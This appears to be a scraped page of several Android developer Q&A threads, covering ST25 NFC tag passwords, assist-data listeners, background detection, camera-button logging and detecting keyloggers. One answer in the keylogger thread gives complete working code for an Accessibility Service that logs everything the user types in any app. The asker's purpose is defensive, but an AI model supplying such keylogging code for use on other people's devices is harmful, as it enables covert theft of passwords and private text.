Develop Reference

NFC-tag password protection with ST25 android SDK

I'm working with ST25 tags, more specifically type5 tags ST25DV64K. The ST25 SDK for android has some interesting examples and tutorials in it. I'm still struggling to use the code example provided at the end of the doc here concerning password-protected data, which consist in those lines:
byte[] password;
int passwordNumber = type5Tag.getPasswordNumber(area);
tag.presentPassword(passwordNumber, password);
NDEFMsg ndefMsg = myTag.readNdefMessage(area);
first problem, when I instanciate a type5 tag i don't see those methods for Type5Tag class:
import com.st.st25sdk.type5.*;
Type5Tag tag5;
tag5.??
Then, it is not clear how we are supposed to set up a password in the first place. I can't find any examples of setting up a password for a specific area, and removing it, and what is the format of the password that we can use? Is it possible to do this from android or do we have to use the ST25 app? Examples welcome! Thanks.

In the ST25 SDK Zip file, you will find an example of a basic Android App using the ST25 SDK Library (it is in \integration\android\examples\ST25AndroidDemoApp).
This example uses a class called “TagDiscovery” which is able to identify any ST25 Tag and to instantiate the right object. In your case, if you are only using ST25DV64K Tags, you will probably want to do something simple.
Here is what I suggest you:
In your android activity, I expect that you have subscribed to receive a notification every time an NFC tag is taped (in “ST25AndroidDemoApp” example, look at enableForegroundDispatch() in onResume() function).
To identify if the Intent corresponds to an “NFC Intent”, we check if the Intent’s Action is ACTION_NDEF_DISCOVERED, or ACTION_TECH_DISCOVERED or ACTION_TAG_DISCOVERED.
When this is the case, we know that it is an NFC Intent. We can then call this to get the instance of androidTag:
Tag androidTag = intent.getParcelableExtra(NfcAdapter.EXTRA_TAG);
This object represents the current NFC tag in Android.
We’re now going to instantiate a ST25DVTag object.
import com.st.st25sdk.type5.st25dv.ST25DVTag;
…
AndroidReaderInterface readerInterface = AndroidReaderInterface.newInstance(androidTag);
byte[] uid = androidTag.getId();
uid = Helper.reverseByteArray(uid);
ST25DVTag myST25DVTag = new ST25DVTag(readerInterface, uid);
You now have an object called myST25DVTag that can be used to communicate with the tag!
For example, if you want to use the passwords:
byte[] password = new byte[]; // TODO: Fill the password
int passwordNumber = myST25DVTag.getPasswordNumber(area);
myST25DVTag.presentPassword(passwordNumber, password);
NDEFMsg ndefMsg = myST25DVTag.readNdefMessage(area);
Before doing that, you need to check which password is associated to this area. The tag has 3 passwords that can be freely assigned to any area. By default no password is set so you should set one. Here is an example where I use the password 2 for Area1:
int AREA1 = 1;
int passwordChosen = 2;
myST25DVTag.setPasswordNumber(AREA1, passwordChosen);
I suggest that you install the ”ST25 NFC Tap” Android App from Google Play: https://play.google.com/store/apps/details?id=com.st.st25nfc&hl=fr&gl=US
If you tap you ST25DV and go to the “Areas Security Status” menu, you will be able to see: the number of areas, which ones are protected by password for read and/or write, which password is used…etc
If you are interested, the source code of this application is available here: https://www.st.com/en/embedded-software/stsw-st25001.html
Tell me if something is unclear.
Disclaimer: I am on of the development team for the ST25 SDK.

OnProvideAssistDataListener example

Can someone please provide an example for a real case where I might need to use OnProvideAssistDataListener. I can't seem to wrap my head around it. I look at the source code, and then I look online. Someone online says
Application.OnProvideAssistDataListener allows to place into the
bundle anything you would like to appear in the
Intent.EXTRA_ASSIST_CONTEXT part of the assist Intent
I have also been reading through the Intent Docs.

There is an Now On Tap functionality implemented by Google. By long pressing the Home Button, you will get some  information displayed on the screen.  The information you get depends on what you're viewing on your screen at that time. (for eg: Music app displays information about music on the screen).
To provide additional information to the assistant, your app provides global application context by registering an app listener using registerOnProvideAssistDataListener() and supplies activity-specific information with activity callbacks by overriding onProvideAssistData() and onProvideAssistContent(). 
Now when the user activates the assistant, onProvideAssistData() is called to build a full ACTION_ASSIST Intent with all of the context of the current application represented as an instance of the AssistStructure. You can override this method to place anything you like into the bundle to appear in the EXTRA_ASSIST_CONTEXT part of the assist intent.
In the example below, a music app provides structured data to describe the music album that the user is currently viewing:
#Override
public void onProvideAssistContent(AssistContent assistContent) {
super.onProvideAssistContent(assistContent);
String structuredJson = new JSONObject()
.put("#type", "MusicRecording")
.put("#id", "https://example.com/music/recording")
.put("name", "Album Title")
.toString();
assistContent.setStructuredData(structuredJson);
}
For more info refer https://developer.android.com/training/articles/assistant.html

Android Key logger

Intro: I want to create a POC on Android Security which requires to identify if there is any KeyLogger running on Android device or not. And if it is running or installed on device then, disable it throughout my Android application.
Queries:
1.) Is this possible to create Android keyloggers which intercepts keyboard events and running in background as services?
2.) Is this possible to identify if any of the background process handelling keyboard events?
3.) Can I stop any other background service (not owned by me) by my application code?
Please help me with suitable links if you have.

I know this question already has an accepted answer but I disagree with the accepted answer!
This can be done in android via the accessibility APIs.
Take a look at the below program :
Type Machine
It uses the accessibility APIs, and correctly stores every key stroke you type in any application which is essentially what a key logger does!
EDIT : I am not exactly sure what TypeMachine uses but you should be able to get the text from accessibility service using this method.
For Example, the following code can be used to get a new text:
void onViewTextChanged(AccessibilityEvent accessibilityEvent, AccessibilityNodeInfo accessibilityNodeInfo) {
List text = accessibilityEvent.getText();
CharSequence latestText = (CharSequence) text.get(0);
Log.i(MY_TAG, latestText.toString());
}

As a follow up on #ananth's answer, here is a complete code example on how to implement a keylogger using Accessibility Service.
But, this requires permissions to bind your Service with the system and also the user has to explicitly turn on the Service you create by navigating to Settings>Accessibility>{Your app name} on Android devices. So, if you have evil intensions, good luck with that.
Step 1: Paste this in your manifest file.
<application>
...
<service android:name=".MyAccessibilityService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
</service>
</application>
Step 2: Create a class for your Accessibility Service.
public class MyAccessibilityService extends AccessibilityService {
#Override
public void onAccessibilityEvent(AccessibilityEvent event) {
final int eventType = event.getEventType();
String eventText = null;
switch(eventType) {
/*
You can use catch other events like touch and focus
case AccessibilityEvent.TYPE_VIEW_CLICKED:
eventText = "Clicked: ";
break;
case AccessibilityEvent.TYPE_VIEW_FOCUSED:
eventText = "Focused: ";
break;
*/
case AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED:
eventText = "Typed: ";
break;
}
eventText = eventText + event.getText();
//print the typed text in the console. Or do anything you want here.
System.out.println("ACCESSIBILITY SERVICE : "+eventText);
}
#Override
public void onInterrupt() {
//whatever
}
#Override
public void onServiceConnected() {
//configure our Accessibility service
AccessibilityServiceInfo info=getServiceInfo();
info.eventTypes = AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED;
info.feedbackType = AccessibilityServiceInfo.FEEDBACK_SPOKEN;
info.notificationTimeout = 100;
this.setServiceInfo(info);
}
}
That's it. Now, everything the user types in any app on their phone will be logged to the console. You can configure the above class to listen to the keystrokes from certain specified apps only if you want to. The above class is independent of your MainActivity. The service will get registered as soon as your app is installed. But, again, in order to work, this requires manual toggling of settings as mentioned previously.
Read the docs for detailed explanation on what Accessibility is and details on each of the classes and methods used above.

After research for 1 whole day I reached at below conclusion.
Android does not allow you to intercepts default soft keyboard inputs from background services. The only way to intercepts these events are custom keyboards.
I have summarized it as follows:
In Android Key logging for keyboard events is not supported in background services. Some of the links are as follows:
Point 1: Google Android Developer
As soft input methods can use multiple and inventive ways of inputting text, there is no guarantee that any key press on a soft keyboard will generate a key event: this is left to the IME's discretion, and in fact sending such events is discouraged. You should never rely on receiving KeyEvents for any key on a soft input method. In particular, the default software keyboard will never send any key event to any application targetting Jelly Bean or later, and will only send events for some presses of the delete and return keys to applications targetting Ice Cream Sandwich or earlier.
http://developer.android.com/reference/android/view/KeyEvent.html
Android Jelly Bean is: 4.1 to 4.3.1
Android IceCream Sandwich: 4.0
Key presses on soft input methods are not required to trigger the methods in this listener, and are in fact discouraged to do so. The default android keyboard will not trigger these for any key to any application targetting Jelly Bean or later, and will only deliver it for some key presses to applications targetting Ice Cream Sandwich or earlier.
http://developer.android.com/reference/android/text/method/KeyListener.html
Point 2: Stack Overflow
KeyEvents can only be handled by Activities as they are the interface to the user pressing the keys and only when they are in the foreground. Even Services that run in the background are not intended to react on user input.
Android - Listener for hard keys press at background
Is it possible to create an Android Service that listens for hardware key presses?
Point 3: Romain Guy
Romain Guy (https://stackoverflow.com/users/298575/romain-guy) who works for Google also confirms it
onKeyDown in a service? (Global Hot Keys)
Point 4: Some Other reference:
Google android-developers Group : https://groups.google.com/forum/#!topic/android-developers/o--GUWmqXdI
It can be done only by using Custom KeyBoard: get pressed key and throw another key in android
Please add your comments if you think that I have missed anything.

Detect if an android app is running on background

I want to check if my app is running on a background mode.
The problem is that i have many activities(list activities, map activities etc.). Initially I have tried in the life cycle's resume and pause(or the onUserLeaveHint) methods to set a static boolean as true or false and work with this way. But this obviously can't work because when I move from one activity to another, the previous one get paused.
Also, I've read here on stackoverflow that the getRunningTasks() should be used only for debugging purposes. I did a huge research but I can't find a solution. All I want to do is to be able to detect if a the app is running on a background. Can anyone propose me a way, or express any thought on how can I do that?

You can try the same mechanism (a boolean attribute) but on application side rather than activity side. Create a class which extends Application, declare it in the manifest file under <application android:name=YourClassApp>.
EDIT: I assume you know that activities aren't intended for background processing, if not you should take a look at the Services.

I don't know if this will help but you can use
getApplicaton().registerActivityLifecycleCallbacks(yourClass);
To get a birds eye view of how your activities are displayed in the FG. (For older s/w you can use this)
If your Application has a Service you could have a static get/set which accesses a static variable. Do not do this in Activities though, it causes mem leaks.
But realistically speaking there is no tidy way of tracking if your application is running or not.

I had the same problemen when overwriting the Firebase push messaging default behavior (show notifications only when in the background) I checked how Firebase did this by looking in the .class file com.google.firebase.messaging.zzb:53 (firebase-messaging:19.0.1) which appears to us getRunningAppProcesses. Mind you FireBase is created by Google them self. So I'm assuming it's pretty save to use. Cleaned up version:
List<ActivityManager.RunningAppProcessInfo> runningApps;
boolean isInForeground =false;
if ((runningApps = ((ActivityManager)this.getApplication().getSystemService(Context.ACTIVITY_SERVICE)).getRunningAppProcesses()) != null) {
Iterator runningApp = runningApps.iterator();
int myPid = Process.myPid();
while(runningApp.hasNext()) {
ActivityManager.RunningAppProcessInfo processInfo;
if ((processInfo = (ActivityManager.RunningAppProcessInfo)runningApp.next()).pid == myPid) {
isInForeground = processInfo.importance == 100;
break;
}
}
}

how to print log for camera action

In my project i tried to implement camera action in onReceive method. While clicking on camera icon can we print log . i tried it in broadcast receiver. but i cant able to get the result.i attached my piece of code here.
public void onReceive(Context context, Intent intent) {
if (intent.getAction().equals(Intent.ACTION_CAMERA_BUTTON)) {
Log.e("cam0","cam");
//Intent cameraIntent = new Intent(android.provider.MediaStore.ACTION_IMAGE_CAPTURE);
//context.startService(cameraIntent);
// startActivity(cameraIntent, CAMERA_PIC_REQUEST);
}
}
is it possible to print log for that. Im cracking my head still i cant find the result. Looking for help in this situation. Thank you in advance.

You can create a filter for Logcat so that every log with a specific TAG gets grouped together for quick and easy viewing. Just open up the Logcat view and to the left there is a button (green plus sign) for adding new filters.
And its convention to declare a constant in the class to be used as a log tag, for example private static final string TAG = TAG_camActivity.
If the log isn't showing up then that if statement in all likelihood isn't being evaluated to true.